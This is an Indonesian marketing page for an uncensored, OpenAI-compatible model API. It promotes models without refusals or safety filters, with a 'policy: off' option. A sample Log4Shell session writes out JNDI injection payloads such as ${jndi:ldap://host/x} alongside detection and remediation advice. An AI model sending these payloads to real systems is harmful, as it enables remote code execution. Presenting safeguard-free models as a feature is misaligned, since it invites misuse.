Model arus utama menjawab dengan bunyi bip. Kami menghilangkannya.
API yang mengutamakan developer dan kompatibel dengan OpenAI untuk model tanpa batasan — untuk red-teaming, evaluasi jailbreak, riset keamanan AI, dan apa pun yang tidak boleh mengeluarkan penolakan palsu.
Dinamai berdasarkan fungsinya, bukan berdasarkan model open-weight di baliknya — sehingga kami bisa meningkatkan bobot model tanpa pernah merusak kode Anda.
Model default. Jendela konteks 256K token, tanpa sensor — pekerja keras harian untuk red-teaming, eval, dan riset.
Tingkat frontier. Konteks 1M token untuk pekerjaan terbesar — seluruh basis kode, transkrip panjang, analisis mendalam lintas dokumen.
Pilihan murah dan cepat. Biaya per token lebih rendah untuk trafik bervolume tinggi dan panggilan yang lebih sederhana.
Sesi red-team tentang Log4Shell — akar masalah, pengecekan aman di lab, dan perbaikannya. Tanpa ceramah, tanpa penolakan; hanya analisisnya.
CVE-2021-44228 (Log4Shell). Akar masalahnya, dan bagaimana lookup JNDI berubah menjadi RCE.${…} di dalam string yang dicatatnya ke log. Nilai yang di-log seperti ${jndi:ldap://host/x} membuat JVM me-resolve nama tersebut lewat LDAP/RMI, mengambil kelas Java dari jarak jauh, dan menginstansiasinya — kode arbitrer berjalan di dalam proses logging. Permukaan pemicunya adalah apa pun yang sampai ke pemanggilan log: User-Agent, header, field formulir. Rentang terdampak: 2.0-beta9 → 2.14.1.${jndi:ldap://<token>.your-collab/x} di header yang Anda tahu pasti dicatat ke log.<token> berarti string tersebut diinterpolasi → rentan. Tidak ada yang disajikan, jadi tidak ada yang dieksekusi.JndiLookup.class dan cocokkan versinya dengan rentang terdampak.2.17.1+. Belum bisa? Setel log4j2.formatMsgNoLookups=true (2.10+) atau buang JndiLookup.class dari classpath, tambahkan aturan WAF untuk ${jndi:, dan filter egress LDAP/RMI keluar dari host tersebut.API ini kompatibel drop-in dengan OpenAI. Ganti base URL dan kuncinya — kode, SDK, dan tool yang sudah Anda punya tetap berjalan.
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'OpenAI Python, Node, dan tool apa pun yang berbicara dengan Chat Completions API. Tidak ada hal baru yang perlu dipelajari.
text/event-stream berisi chunk delta, diakhiri dengan [DONE] — persis seperti yang sudah di-parse klien Anda.
Kirim "policy": "research" untuk menandai sebuah permintaan di riwayat pemakaian Anda, atau "strict" untuk memberlakukan blocklist, saat sebuah proyek membutuhkannya.
Beli kredit kapan pun Anda butuh, atau pasang paket bulanan dan biarkan kredit datang sendiri. Setiap permintaan ditagih berdasarkan token yang benar-benar dipakai, sesuai tarif per juta token yang dipublikasikan untuk model yang Anda panggil.
unbleep $3.00 input / $3.00 output
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
per 1M token
Tambahkan kredit dengan kartu kapan pun Anda butuh, atau biarkan paket mengirimkannya setiap bulan. Kredit tidak kedaluwarsa selama akun Anda masih terbuka, dan kredit yang belum terpakai bisa dikembalikan dalam 14 hari.
Kami menahan estimasi saat permintaan dimulai dan menyelesaikannya sesuai biaya token sebenarnya saat selesai. Permintaan yang error dilepaskan, tidak pernah ditagih.
Permintaan ditolak jika saldo Anda tidak mencukupi — kami tidak pernah memberi utang atau menagih Anda belakangan. Saldo dan pemakaian token ada di konsol.
unbleep ditujukan bagi tim keamanan, peneliti, dan builder yang membutuhkan baseline tanpa filter. Zero-retention secara default, dial policy kelas satu, riwayat pemakaian dan biaya per permintaan di konsol, dan kebijakan penggunaan yang sungguhan. Tanpa sensor adalah sebuah kapabilitas — Anda yang menentukan cara mengelolanya.